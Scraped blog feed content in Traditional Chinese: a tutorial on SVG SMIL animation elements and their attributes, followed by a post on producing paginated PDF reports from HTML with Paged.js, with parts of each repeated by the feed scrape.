其他屬性值跟其他元素雷同,不過 animateMotion
還有個特別的屬性值 rotate
,用來指定是否要隨著路徑移動的同時,選轉綁定的 svg 物件,可以設定為 auto
或 auto-reverse
:
<animateMotion
path="M10,50 q60,50 100,0 q60,-50 100,0"
begin="0s" dur="10s" repeatCount="indefinite" rotate="auto"
/>
此外,除了給定 path
屬性值外,其實也能夠利用既有的 <path>
來當作 animateMotion
的路徑,但是得透過 mpath
這個 sub-element:
<!--軌跡-->
<path id="path1" d="M10,50 q60,50 100,0 q60,-50 100,0" stroke="black" stroke-width="2" />
<g>
<!-- Rick 飛船 svg-->
<animateMotion begin="0s" dur="10s" repeatCount="indefinite">
<mpath xlink:href="#path1" />
</animateMotion>
</g>
要注意的是,若要使用 xlink:href
來指定連接的 svg 元素,在你的 <svg>
tag 上得先記得宣告 xmlns:xlink="http://www.w3.org/1999/xlink"
。
<svg width="300" height="200" viewBox="0 0 500 300" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
</svg>
有了 xlink:href
,我們也就不用像之前範例中所做的一樣,一定得把 animate
元素放在要綁定的 svg shape 內,可以透過 id
與 xlink:href
來連結,例如第一個 <set>
的範例可改為:
<circle id="eyes" cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
</circle>
<set xlink:href="#eyes" attributeName="cy" to="105.7318" begin="2s" />
至此我們介紹完了四種 SVG animation element,除了個別拿來使用外,這些元素是能夠組合在一起使用的,就只要個別把對應的 animate element 套用在想要的 svg shape 上即可,舉例來說,可以讓 Rick 旋轉的同時,髮色改變、眼睛轉動(可右鍵看 svg 原始碼,在裡面可以找到多個 animate element):
(註:經實測,animateTransform 在手機上似乎不支援,請用桌面版瀏覽器查看此範例)
在上面的 Demo 裡面,我們可以發現 SVG animate element 有很多參數可以使用,範例中只用到了一部分,但其實這些參數能設定的值都有不少變化,想要清楚知道每一個參數的用途與範例,推薦參考這篇文章 - A Guide to SVG Animations (SMIL),不介意簡體中文的話,可以看這篇,都寫得非常好非常詳細。
在這個章節我會重點介紹一些我覺得比較有趣及實用的參數。
from
跟 to
在前面的範例中都有看到,功能也如同字面般好懂,就是指定動畫變化的移動區間,從(from
)某個值變化到(to
)另個值;而 by
則是代表位移量,相對於明確告知要變動到哪個值,我們可以用 by
告訴 svg 要變動”多少的量“,例如前面 animateTransform
的例子,我們可以改為:
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" by="360"
begin="0s" dur="10s"
repeatCount="indefinite"
/>
看到這邊你應該會注意到,by
跟 to
功能上有點重複,所以彼此之間有優先權,如果同時有指定 to
與 by
,則只會套用到 to
的值。
再來看看 values
,這個剛剛的範例都沒出現,它的功用是來補足 from
、to
、by
的不足。不足的點在於, from
、to
、by
只能指定兩個值之間的變化,從 a 變化到 b,而 values
可以給定多個值,用分號 ;
隔開,就能有 a -> b -> c -> b -> a 這樣的變化,舉個例子:
<animateTransform attributeName="transform"
type="translate"
values="20;120;20"
begin="0s" dur="3s"
repeatCount="indefinite"
/>
begin
跟 end
分別用來控制何時開始執行動畫,何時停止動畫,在上面的例子中我們都只用到時間,像是 begin="2s"
,但其實這兩個參數能給的值有非常多的種類,而且能向 values
一樣賦予多個值,只要用 ;
隔開即可:
begin = <offset-value> | <syncbase-value> | <event-value> | <repeat-value> | <accessKey-value> | <wallclock-sync-value>
每種類型的詳細介紹,我推薦直接看 MDN,或是對岸網友的整理,這邊我只說明幾個我覺得比較實用的。
首先是 <syncbase-value>
。
從字面有點難懂,主要是用其他 animate 元素的 begin/end 值再做加減,舉個例子就比較好懂:
<!-- Rick head -->
<g>
<animateTransform attributeName="transform"
type="scale"
values="1;1.2;1"
begin="ship.end" dur="3s"
repeatCount="indefinite"
/>
</g>
<!-- spaceship -->
<g>
<animateTransform id="ship" attributeName="transform"
type="translate"
values="20;120;20"
begin="0s" dur="3s"
/>
</g>
這次範例中的 svg 內有兩個 animate 元素,給定針對太空船做動畫的元素一個 id 值 ship
,然後在 Rick 的動畫元素上利用 begin="ship.end"
,就可以讓 Rick 頭的動畫等到太空船的動畫做完後再啟動,效果如下(這需要麻煩讀者用新分頁開啟圖片來觀看):
另一個我覺得實用的值是 event-value
,看名字就知道,是可以依照 event
來啟動或終結動畫,用法與 syncbase-value
雷同,給定元素 id,然後根據該元素觸發的事件讓動畫 begin
或是 end
。幾乎所有 DOM element 支援的 event 都能使用,MDN 有列出所有可用事件。
一樣舉個例子,點擊 Rick 就能讓太空船移動(礙於 blog 格式,這範例得放在 codepen 上):
程式碼如下,rickhead.click
([元素 id].[event]
):
<g id="rickhead"> <!--// 略 --></g>
<g>
<animateTransform id="ship" attributeName="transform"
type="translate"
values="20;120;20"
begin="rickhead.click" dur="3s"
/>
</g>
最後是 indefinite
,如果你的 begin
值為 indefinite
,代表無限等待,這時就需要透過 [animate 元素].beginElement()
來觸發,或是用 <a>
tag 的 xlink:href="#[animate 元素 id]"
來啟動。
這三個參數主要讓你能夠更細微的調整動畫的速度變化。
calcMode
有四種模式:discrete
、linear
、paced
、spline
。
discrete 顧名思義就是離散的,from
值跳到 to
值不做補間; linear 跟 paced 我覺得效果雷同,都是讓讓補間動畫的速度維持一致(linear)與平均(paced); spline
則是使用貝式曲線,需要搭配 keyTimes
與 keySplines
來使用。
keyTimes
就是關鍵影格,跟前面提過的 values
一樣,可以接受多個以分號區隔的值,定義動畫的關鍵時間點,搭配不同的 calcMode
就能在不同的時間點有不同的速度效果。
keySpline
是當你 calcMode
設定為 spline
時,用來定義貝式曲線的四個控制點的。
這邊直接引用對岸網友精緻的 Demo 頁面給大家參考,用看的會比較清楚好理解:calcMode、keyTimes、keySplines 屬性 DEMO。該作者對於 keySpline
的值也有畫圖說明,很好懂,有興趣研究的話值得一看。
看到最後,不知道你會不會有個疑問:如果我想針對同的 SVG shape 的同個屬性做多個連續變化時該怎麼辦?
例如:透過 animateTransform
先將圖案放大再位移。
這時就要靠 additive
這個參數出馬了,additive
參數告知 SVG 是否要累加(sum
)動畫效果,或是取代(replace
),預設是 replace
。
例子:
<animateTransform attributeName="transform"
type="scale"
by="1.1"
begin="0s" dur="5s"
repeatCount="indefinite"
additive="sum"
/>
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" to="360 0 0"
begin="0s" dur="5s"
repeatCount="indefinite"
additive="sum"
/>
今天花了不小的篇幅介紹了 SVG SMIL animation,感謝看到這邊的各位,製作 Demo 的過程對我來說很有趣,也學習了怎麼繪製 SVG,從網路上的其他資源也查到許多詳細的資料,收穫不少!希望對看到這篇文章的你們也能有所啟發,除了常用的 Web animation 與 CSS animation 外,有機會也試試用 SVG 直接作動畫吧!
前幾個禮拜看到 jotai 的作者推文提到 jotai 的 logo 用了 animateTransform
來製作動畫(不知道 jotai 的可以看這篇 - Jōtai 介紹):
If you are not familiar with SVG animation, check this out. jotai https://t.co/Zadia8oug7 👻 logo is using <animateTransform>. pic.twitter.com/vll2SU5f16
— Daishi Kato (@dai_shi) June 6, 2021
(要等一會兒才會出現...如果沒有,可能是 cache 問題,可以點此開新頁查看。)
svg 檔案會動不稀奇,像是十分鐘、五步驟,SVG 動起來!中介紹的,透過第三方套件可以很容易達成,或是用一些繪圖、動畫工具也行,例如:SVGator,不過這些都得搭配 JavaScript,然而簡單的動畫只要利用 SVG 支援的語法即可達成!
今天就一起來了解一下,怎麼在不靠其它套件的狀況下,單純的製作 SVG 動畫。
能讓 SVG 不靠 JavaScript 與 CSS 就能動起來是因為使用了 SMIL(Synchronized Multimedia Integration Language),音同 smile,是 W3C 的標準之一,旨在以 XML 格式提供多媒體的交互表現(白話點其實就是動畫),是 Web 上動畫的開路先鋒,啟發了 Web animation 與 CSS animation。SVG 與 SMIL 的開發團隊合作,讓 SVG 能利用 SMIL 達到如下效果:
offset-path
光是這些特性就夠我們組合出很多種的動畫了,還不需要 JavaScript 與 CSS 的輔助。
使用方法也不難,只要在 SVG 元素內置入以下四種元素即可操作動畫:
<set>
<animate>
<animateTransform>
<animateMotion>
接著我們針對這四種元素一一介紹。
不過在開始前,有個小插曲值得一提。
SMIL 這個標準其實在 2015 年的時候差點被廢除,因為使用人數少,支援的主流瀏覽器也不多,所以 chromium 工程師本來想要 deprecate 它,順勢推廣 Web animation 與 CSS animation,但在消息公布後,收到了社群很多人的回饋,最終決定暫停廢除計劃,也因此我們到現在都還能使用 SVG SMIL animation,主流瀏覽器也都支援了,使用者也從 0.04% 上升到 1% 以上。
有興趣的讀者可以回追一下這串討論。
利用 <set>
元素你能夠指定在一段時間後,改變 svg 的一個屬性,例如 2 秒後將 Rick 的眼睛變成往下看:
疑?你說他本來就是往下看的?
那是因為 set
不會重複執行,從你載入這篇文章到看到這個位置為止,相信已經超過 2 秒,所以已經是執行後的結果,建議你按右鍵 -> "在新分頁中開啟圖片",實際體驗一下,再不然看看下面的 gif 也行:
相關程式碼如下:
<circle cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
<set attributeName="cy" to="105.7318" begin="2s" />
</circle>
將 <set>
元素放在你想要套用效果的 svg shape 內即可。
attributeName
指定你要更動的屬性;to
代表變化值;begin
代表從載入後的什麼時候開始執行。
除了 attributeName
外,有另一個參數叫 attributeType
,用來告訴瀏覽器你要動畫化的屬性值是屬於 XML
(e.g. cy
),還是 CSS
(e.g. opacity
),不指定的話,瀏覽器會自己猜。不過呢,這個參數也已經 deprecated 了,所以實際上我們不再需要它。
<animate>
元素讓你能針對單一屬性變化套用動畫補間效果。用法一樣是放在你想要套用效果的 svg shape 內:
<circle cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
<animate
attributeName="cx" from="56.7573" to="64.7573"
dur="2s" repeatCount="indefinite" />
</circle>
與 <set>
相比,多了 from
屬性來指定要從哪個值開始做變化,dur
指定動畫的執行時間,repeatCount
指定要重複幾次,這邊我們設定 indefinite
讓他無限重播(若看不到效果請以分頁開新圖片):
利用 animate
,讓 Rick 的眼睛向右看。
也可以用來改變顏色:
也因為可以用來改變顏色,所以本來有個 <animateColor>
元素就被取代掉了,現在已經 deprecated 了。
<animateTransform>
可以用來控制 transform
屬性,用 animate
無法做到。跟 CSS 中的 transform 一樣,可以控制 translation、scaling、rotation 跟 skewing。
可以讓 Rick 頭轉起來,看起來頗ㄎㄧㄤ LOL
(註:經實測,animateTransform 在手機上似乎不支援,請用桌面版瀏覽器查看此範例)
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" to="360 0 0"
begin="0s" dur="10s"
repeatCount="indefinite"
/>
如上面所述,要控制 transform
屬性,所以 attributeName="transform"
,接著 type
參數就看你想要 transform 的類型是什麼,rotate
、scale
都可以。其餘 from
、to
、begin
、dur
等參數都與之前的相同,用來指定動畫的起始終點值、時間長度與執行次數。
最後一個元素,animateMotion
,讓 svg 沿著軌跡 path
移動(若看不到效果請以分頁開新圖片):
<!--軌跡-->
<path d="M10,50 q60,50 100,0 q60,-50 100,0" stroke="black" stroke-width="2" />
<g>
<!-- Rick 飛船 svg-->
<animateMotion
path="M10,50 q60,50 100,0 q60,-50 100,0"
begin="0s" dur="10s" repeatCount="indefinite"
/>
</g>
上述程式碼內的 <path>
只是為了讓大家看清楚路徑與實際動畫的軌跡無關,實際使用上只要給定 animateMotion
一條 path
屬性值,包含 animateMotion
元素的 svg 就會跟著該路徑移動。
其他屬性值跟其他元素雷同,不過 animateMotion
還有個特別的屬性值 rotate
,用來指定是否要隨著路徑移動的同時,選轉綁定的 svg 物件,可以設定為 auto
或 auto-reverse
:
<animateMotion
path="M10,50 q60,50 100,0 q60,-50 100,0"
begin="0s" dur="10s" repeatCount="indefinite" rotate="auto"
/>
此外,除了給定 path
屬性值外,其實也能夠利用既有的 <path>
來當作 animateMotion
的路徑,但是得透過 mpath
這個 sub-element:
<!--軌跡-->
<path id="path1" d="M10,50 q60,50 100,0 q60,-50 100,0" stroke="black" stroke-width="2" />
<g>
<!-- Rick 飛船 svg-->
<animateMotion begin="0s" dur="10s" repeatCount="indefinite">
<mpath xlink:href="#path1" />
</animateMotion>
</g>
要注意的是,若要使用 xlink:href
來指定連接的 svg 元素,在你的 <svg>
tag 上得先記得宣告 xmlns:xlink="http://www.w3.org/1999/xlink"
。
<svg width="300" height="200" viewBox="0 0 500 300" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
</svg>
有了 xlink:href
,我們也就不用像之前範例中所做的一樣,一定得把 animate
元素放在要綁定的 svg shape 內,可以透過 id
與 xlink:href
來連結,例如第一個 <set>
的範例可改為:
<circle id="eyes" cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
</circle>
<set xlink:href="#eyes" attributeName="cy" to="105.7318" begin="2s" />
至此我們介紹完了四種 SVG animation element,除了個別拿來使用外,這些元素是能夠組合在一起使用的,就只要個別把對應的 animate element 套用在想要的 svg shape 上即可,舉例來說,可以讓 Rick 旋轉的同時,髮色改變、眼睛轉動(可右鍵看 svg 原始碼,在裡面可以找到多個 animate element):
(註:經實測,animateTransform 在手機上似乎不支援,請用桌面版瀏覽器查看此範例)
在上面的 Demo 裡面,我們可以發現 SVG animate element 有很多參數可以使用,範例中只用到了一部分,但其實這些參數能設定的值都有不少變化,想要清楚知道每一個參數的用途與範例,推薦參考這篇文章 - A Guide to SVG Animations (SMIL),不介意簡體中文的話,可以看這篇,都寫得非常好非常詳細。
在這個章節我會重點介紹一些我覺得比較有趣及實用的參數。
from
跟 to
在前面的範例中都有看到,功能也如同字面般好懂,就是指定動畫變化的移動區間,從(from
)某個值變化到(to
)另個值;而 by
則是代表位移量,相對於明確告知要變動到哪個值,我們可以用 by
告訴 svg 要變動”多少的量“,例如前面 animateTransform
的例子,我們可以改為:
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" by="360"
begin="0s" dur="10s"
repeatCount="indefinite"
/>
看到這邊你應該會注意到,by
跟 to
功能上有點重複,所以彼此之間有優先權,如果同時有指定 to
與 by
,則只會套用到 to
的值。
再來看看 values
,這個剛剛的範例都沒出現,它的功用是來補足 from
、to
、by
的不足。不足的點在於, from
、to
、by
只能指定兩個值之間的變化,從 a 變化到 b,而 values
可以給定多個值,用分號 ;
隔開,就能有 a -> b -> c -> b -> a 這樣的變化,舉個例子:
<animateTransform attributeName="transform"
type="translate"
values="20;120;20"
begin="0s" dur="3s"
repeatCount="indefinite"
/>
begin
跟 end
分別用來控制何時開始執行動畫,何時停止動畫,在上面的例子中我們都只用到時間,像是 begin="2s"
,但其實這兩個參數能給的值有非常多的種類,而且能向 values
一樣賦予多個值,只要用 ;
隔開即可:
begin = <offset-value> | <syncbase-value> | <event-value> | <repeat-value> | <accessKey-value> | <wallclock-sync-value>
每種類型的詳細介紹,我推薦直接看 MDN,或是對岸網友的整理,這邊我只說明幾個我覺得比較實用的。
首先是 <syncbase-value>
。
從字面有點難懂,主要是用其他 animate 元素的 begin/end 值再做加減,舉個例子就比較好懂:
<!-- Rick head -->
<g>
<animateTransform attributeName="transform"
type="scale"
values="1;1.2;1"
begin="ship.end" dur="3s"
repeatCount="indefinite"
/>
</g>
<!-- spaceship -->
<g>
<animateTransform id="ship" attributeName="transform"
type="translate"
values="20;120;20"
begin="0s" dur="3s"
/>
</g>
這次範例中的 svg 內有兩個 animate 元素,給定針對太空船做動畫的元素一個 id 值 ship
,然後在 Rick 的動畫元素上利用 begin="ship.end"
,就可以讓 Rick 頭的動畫等到太空船的動畫做完後再啟動,效果如下(這需要麻煩讀者用新分頁開啟圖片來觀看):
另一個我覺得實用的值是 event-value
,看名字就知道,是可以依照 event
來啟動或終結動畫,用法與 syncbase-value
雷同,給定元素 id,然後根據該元素觸發的事件讓動畫 begin
或是 end
。幾乎所有 DOM element 支援的 event 都能使用,MDN 有列出所有可用事件。
一樣舉個例子,點擊 Rick 就能讓太空船移動(礙於 blog 格式,這範例得放在 codepen 上):
程式碼如下,rickhead.click
([元素 id].[event]
):
<g id="rickhead"> <!--// 略 --></g>
<g>
<animateTransform id="ship" attributeName="transform"
type="translate"
values="20;120;20"
begin="rickhead.click" dur="3s"
/>
</g>
最後是 indefinite
,如果你的 begin
值為 indefinite
,代表無限等待,這時就需要透過 [animate 元素].beginElement()
來觸發,或是用 <a>
tag 的 xlink:href="#[animate 元素 id]"
來啟動。
這三個參數主要讓你能夠更細微的調整動畫的速度變化。
calcMode
有四種模式:discrete
、linear
、paced
、spline
。
discrete 顧名思義就是離散的,from
值跳到 to
值不做補間; linear 跟 paced 我覺得效果雷同,都是讓讓補間動畫的速度維持一致(linear)與平均(paced); spline
則是使用貝式曲線,需要搭配 keyTimes
與 keySplines
來使用。
keyTimes
就是關鍵影格,跟前面提過的 values
一樣,可以接受多個以分號區隔的值,定義動畫的關鍵時間點,搭配不同的 calcMode
就能在不同的時間點有不同的速度效果。
keySpline
是當你 calcMode
設定為 spline
時,用來定義貝式曲線的四個控制點的。
這邊直接引用對岸網友精緻的 Demo 頁面給大家參考,用看的會比較清楚好理解:calcMode、keyTimes、keySplines 屬性 DEMO。該作者對於 keySpline
的值也有畫圖說明,很好懂,有興趣研究的話值得一看。
看到最後,不知道你會不會有個疑問:如果我想針對同的 SVG shape 的同個屬性做多個連續變化時該怎麼辦?
例如:透過 animateTransform
先將圖案放大再位移。
這時就要靠 additive
這個參數出馬了,additive
參數告知 SVG 是否要累加(sum
)動畫效果,或是取代(replace
),預設是 replace
。
例子:
<animateTransform attributeName="transform"
type="scale"
by="1.1"
begin="0s" dur="5s"
repeatCount="indefinite"
additive="sum"
/>
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" to="360 0 0"
begin="0s" dur="5s"
repeatCount="indefinite"
additive="sum"
/>
今天花了不小的篇幅介紹了 SVG SMIL animation,感謝看到這邊的各位,製作 Demo 的過程對我來說很有趣,也學習了怎麼繪製 SVG,從網路上的其他資源也查到許多詳細的資料,收穫不少!希望對看到這篇文章的你們也能有所啟發,除了常用的 Web animation 與 CSS animation 外,有機會也試試用 SVG 直接作動畫吧!
之前在公司內接到了一個需求,需要產生出一份 PDF 格式的報告。想要產一份 PDF 有很多種做法,例如說可以先用 Word 做,做完之後再轉成 PDF。但我聽到這需求時,最先出現的想法就是寫成網頁,然後再利用列印功能轉成 PDF。
我在前公司的時候看過一個用 JS 來產生 PDF 的專案,是用 PDFKit 來做,自由度極高,但我覺得滿難維護的。原因是用這一套的話,就有點像是把 PDF 畫出來,你要指定 (x,y) 座標去畫東西,可能改一個小地方,就要改很多行程式碼。
那時候我想說怎麼不直接用最簡單的 HTML + CSS 就好,切好版之後再轉成 PDF,如果不想手動轉,也可以透過 headless chrome 去轉,因為是網頁的關係所以應該滿好維護的。而且排版的話因為是用 HTML 跟 CSS,應該會比用畫的簡單許多才對。
直到我後來接觸到網頁轉 PDF,才發現事情不像我想的這麼簡單。
先讓大家知道一下最後需要產生的報告長什麼樣子是很重要的,因為這樣才能評估每一項技術是否能達成這個需求。
底下先大概講一下我預期中要達到的功能,也就是報告最後的長相。
第一,要有一個封面頁,不能有頁首頁尾跟頁碼,而且內容要置中。
第二,要可以自訂每一頁的頁首跟頁碼格式,還要可以設定頁尾,像這樣:
第三,表格的地方如果跨頁,要自動重複顯示 table head:
或大家也可以直接看看最後 PDF 長什麼樣子:https://aszx87410.github.io/demo/print/print_demo.pdf
知道目標之後,就可以來研究一下該怎麼達成這些功能。
因為對這一塊不熟,所以先 Google 了一些中文文章來看,包括:
重點大概就是利用 CSS @media print
去做設定,然後可以設置什麼時候換頁,以及記得勾選一些設定才能把背景顯示出來。
我自己稍微嘗試了一下這些做法,發現這些可以處理基本的需求,但如果需求再複雜一點就沒辦法了。
舉例來說,如果我想自訂每一頁的頁首頁尾,該怎麼辦?每一頁的頁首跟頁尾都有可能不一樣。如果我事先可以規劃多少內容一頁的話,或許還有機會解決,但如果不行呢?例如說我有一個很長的列表,我根本不知道會有幾頁,那該怎麼做?
關於頁首頁尾,我有找到這篇:The Ultimate Print HTML Template with Header & Footer 確實有幫助,但沒辦法解決頁碼的問題。
上面的這些做法,頁碼就是靠著列印時勾選瀏覽器預設的頁碼,然後標題就是網頁的標題或是網址,這些樣式我該怎麼客製化?例如說我想把頁碼換位置,做得到嗎?
後來我在網路上搜尋過一輪,發現這些似乎不是原生 CSS 可以解決的狀況。於是我把方向轉成:「先用 HTML 印出沒有頁碼的 PDF,再從後端加工處理」。因為已經有 PDF 了,所以自然而然也可以知道有幾頁,那就可以用開頭說的 PDFKit 或是其他 library 加上去了。意思就是先轉成 PDF,再加工,需要有兩道程序。
我還找到了一套 WeasyPrint,看起來好像也可以自訂頁首頁尾跟頁碼,不過依然不是理想中的解決方案。
正當我開始覺得:「這些只用前端網頁的話好像做不到」的時候,救星出現了。
Paged.js 對自己的介紹是:
Paged.js is a free and open source JavaScript library that paginates content in the browser to create PDF output from any HTML content. This means you can design works for print (eg. books) using HTML and CSS!
Paged.js follows the Paged Media standards published by the W3C (ie the Paged Media Module, and the Generated Content for Paged Media Module). In effect Paged.js acts as a polyfill for the CSS modules to print content using features that are not yet natively supported by browsers.
簡單來說呢,Paged.js 是一個開源的 JavaScript library,用來幫助你列印出 PDF。而嚴格來說它其實有很多的部分是 polyfill。事實上,W3C 已經有一些負責列印相關的 CSS 屬性,可是還處於草稿的階段,因此瀏覽器也還沒實作,所以需要靠著 Paged.js 來 polyfill。
先給大家看一下用 Paged.js 可以做到的成果是什麼:
如果想要學習 Paged.js 的使用,我非常推薦去看官方文件,因為功能都寫在上面了,這篇文章只是想讓大家知道一下有這個解法,因此不會講得太多。底下就簡單講一下我想要的每個功能是怎麼實作出來的。
這些功能其實用圖片跟文字有點難解釋,因為我建議稍微看過之後,直接去看上面附的 demo 網站的 source code,我覺得會比較容易理解。
原生的 CSS 好像只能統一對頁面調整,但是 Paged.js 支援針對各種頁面,比如說:
@page {
size: A4;
margin-top: 20mm;
margin-bottom: 20mm;
margin-left: 20mm;
margin-right: 20mm;
padding-top: 2rem;
}
@page:nth(1) {
padding-top: 0;
}
我先針對所有頁面統一調整 margin 跟 padding,但是對第一頁取消 padding-top,因為第一頁是封面所以不需要 padding。
如果不想用頁數來做 selector,也可以直接幫頁面取名,像是這樣:
<div class="page-cover">
...
</div>
.page-cover {
page: coverPage;
}
@page coverPage {
padding-top: 0;
}
這樣做的話,就可以針對特定類型的頁面去做頁面樣式的控制。
Paged.js 會自動幫你把內容分頁,然後幫你把每一頁都加上預設的排版與 CSS 等等,而經過改造後的每一頁都會長這樣(圖片取自於官網):
Page area 是你的內容,而其他地方都是區塊的名稱,你可以用 CSS 來決定這些區塊要放什麼,舉例來說:
@page {
@top-center {
content: "hello";
}
}
這樣寫的話,在每個頁面的中間上方都會出現:hello
這個字。
因此可以透過這樣子的 CSS,非常輕易就達成自訂頁首以及頁尾這個功能。不過這只是最基本的而已,精彩的還在後面。
很多時候只有文字是不夠的,我們還想要加一些樣式,或甚至是圖片。再者,每一頁的頁首跟頁尾都有可能不同,有可能這一頁的標題我想叫做 A,下一頁叫做 B,這樣怎麼辦呢?
在 Paged.js 裡面有個概念叫做:running headers/footers,可以利用這個概念來達成動態的頁首以及頁尾。
剛剛的 CSS 本來 content 都會是固定的,現在可以改一下:
@page {
@top-center {
content: element(title);
}
}
這樣寫的話,中間的內容就會是叫做 title 的 element。那這個 element 又是什麼呢?一樣用 CSS 指定即可:
.title {
position: running(title);
color: white;
font-size: 1.25rem;
}
這邊有個大家應該沒看過的 position 值,叫做 running(title)
,意思就是要把 .title
這個元素設定成 running title,對應到了剛剛的 element(title)
。
因此只要把每一頁的 title 都放在 HTML 裡面,就會自動去抓它的內容,然後放在你想放置的位置。
<div class="page">
<div class="title">這是第一頁標題</div>
第一頁內容
</div>
<div class="page">
<div class="title">這是第二頁標題</div>
第二頁內容
</div>
上面的那兩個 title class 的 div,就不會出現在文件的內容中,而是會被拉到 top center 那個位置。而 title 的內容也會隨著頁面而變,是個超級方便的功能!
範例中的頁尾則是這樣做的:
@page {
@bottom-left {
content: element(footer);
}
}
.footer {
position: running(footer);
font-size: 1rem;
color: #999;
border-top: 2px solid #ccc;
}
<div class="footer">
<p>本文件僅供教學使用,請勿用於商業之用途</p>
</div>
除了內容可以客製以外,那幾格的樣式也可以。例如說範例中我把整個 header 的背景顏色都變了,因為這幾個格子其實都有預設的 class,因此可以透過 CSS 來做:
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top-left-corner-holder,
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top,
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top-right-corner-holder {
background: #658db4;
outline: 2px #658db4;
}
這邊前面會加上 .pagedjs_page:not([data-page-number="1"])
是因為第一頁我不想動到,所以用這個 selector 排除了第一頁。而那個 outline 是因為我發現有時候好像 header 會有一條白色,猜測可能是 render 的問題,所以想說看能不能硬把它蓋掉:
關於頁碼的部分,Paged.js 提供了兩個 CSS counter 可以使用:counter(page)
與 counter(pages)
。
如果想跟範例一樣在右上角加上頁數,就可以這樣寫:
@page {
@top-right {
color: white;
content: "第 " counter(page) " 頁,共 " counter(pages) " 頁";
}
}
這樣就可以做到在任意地方加上頁碼了!而且可以自訂格式,如果要調整樣式的話也可以直接調整。
其實有關於 table head 會自動延續這個功能,使用原生的 HTML table 標籤時就有了。只是 Paged.js 可能處理上有一些問題,所以這功能就不見了。
但要加回來也不難,我有找到一段簡單的程式碼可以解掉這個問題,來源:Repeat table header on subsequent pages
<script>
// @see: https://gitlab.pagedmedia.org/tools/pagedjs/issues/84#note_535
class RepeatingTableHeaders extends Paged.Handler {
constructor(chunker, polisher, caller) {
super(chunker, polisher, caller);
}
afterPageLayout(pageElement, page, breakToken, chunker) {
// Find all split table elements
let tables = pageElement.querySelectorAll("table[data-split-from]");
tables.forEach((table) => {
// Get the reference UUID of the node
let ref = table.dataset.ref;
// Find the node in the original source
let sourceTable = chunker.source.querySelector("[data-ref='" + ref + "']");
// Find if there is a header
let header = sourceTable.querySelector("thead");
if (header) {
// Clone the header element
let clonedHeader = header.cloneNode(true);
// Insert the header at the start of the split table
table.insertBefore(clonedHeader, table.firstChild);
}
});
}
}
Paged.registerHandlers(RepeatingTableHeaders);
</script>
HTML 的部分記得用 table 來做就好,像這樣:
<table>
<thead>
<tr>
<th>網址</th>
<th>文章名稱</th>
<th>瀏覽次數</th>
<th>跳出率</th>
</tr>
</thead>
<tbody>
<tr>
<td>blog.huli.tw</td>
<td>CORS 完全手冊(一):為什麼會發生 CORS 錯誤?</td>
<td>34532</td>
<td>52.3%</td>
</tr>
</tbody>
</table>
以上幾個示範程式碼都滿短的,而且大多數都是 CSS,用這套之前還真的沒想過可以透過 CSS 來調整這麼多東西。
我自己用過 Paged.js 這套以後十分滿意,是我目前認為純前端做 HTML 轉 PDF 版型的最佳方案,原因之一就是我前面說的,除了它之外,我沒有找到其它套件可以支援自訂頁首頁尾以及頁碼等等。這套用起來真的很驚艷,因為我想解決的需求,它都有提供解決方案,而且用起來其實還滿好用的。
唯一美中不足的地方大概就是上面有些截圖會看到的那個大概 1px 的白線,我猜應該是瀏覽器 render 的時候有一些問題之類的,或搞不好也跟 PDF viewer 什麼的有關。但那個如果真的想蓋掉應該不是難事,最麻煩頂多就是硬畫一條線上去蓋住。
我自己需要的功能都放在範例裡面了,想看完整範例程式碼的話我放在這邊:https://github.com/aszx87410/demo/blob/master/print/print.html
想要其他更多功能的話,可以參考 Paged.js 的文件跟官網:https://www.pagedjs.org/
這篇推薦給所有跟我有類似需求的人,希望 Paged.js 也可以解決你們的問題。或如果你有知道哪些純前端的套件比 Paged.js 更好用的,也可以推薦給我。
]]>之前在公司內接到了一個需求,需要產生出一份 PDF 格式的報告。想要產一份 PDF 有很多種做法,例如說可以先用 Word 做,做完之後再轉成 PDF。但我聽到這需求時,最先出現的想法就是寫成網頁,然後再利用列印功能轉成 PDF。
我在前公司的時候看過一個用 JS 來產生 PDF 的專案,是用 PDFKit 來做,自由度極高,但我覺得滿難維護的。原因是用這一套的話,就有點像是把 PDF 畫出來,你要指定 (x,y) 座標去畫東西,可能改一個小地方,就要改很多行程式碼。
那時候我想說怎麼不直接用最簡單的 HTML + CSS 就好,切好版之後再轉成 PDF,如果不想手動轉,也可以透過 headless chrome 去轉,因為是網頁的關係所以應該滿好維護的。而且排版的話因為是用 HTML 跟 CSS,應該會比用畫的簡單許多才對。
直到我後來接觸到網頁轉 PDF,才發現事情不像我想的這麼簡單。
先讓大家知道一下最後需要產生的報告長什麼樣子是很重要的,因為這樣才能評估每一項技術是否能達成這個需求。
底下先大概講一下我預期中要達到的功能,也就是報告最後的長相。
第一,要有一個封面頁,不能有頁首頁尾跟頁碼,而且內容要置中。
第二,要可以自訂每一頁的頁首跟頁碼格式,還要可以設定頁尾,像這樣:
第三,表格的地方如果跨頁,要自動重複顯示 table head:
或大家也可以直接看看最後 PDF 長什麼樣子:https://aszx87410.github.io/demo/print/print_demo.pdf
知道目標之後,就可以來研究一下該怎麼達成這些功能。
因為對這一塊不熟,所以先 Google 了一些中文文章來看,包括:
重點大概就是利用 CSS @media print
去做設定,然後可以設置什麼時候換頁,以及記得勾選一些設定才能把背景顯示出來。
我自己稍微嘗試了一下這些做法,發現這些可以處理基本的需求,但如果需求再複雜一點就沒辦法了。
舉例來說,如果我想自訂每一頁的頁首頁尾,該怎麼辦?每一頁的頁首跟頁尾都有可能不一樣。如果我事先可以規劃多少內容一頁的話,或許還有機會解決,但如果不行呢?例如說我有一個很長的列表,我根本不知道會有幾頁,那該怎麼做?
關於頁首頁尾,我有找到這篇:The Ultimate Print HTML Template with Header & Footer 確實有幫助,但沒辦法解決頁碼的問題。
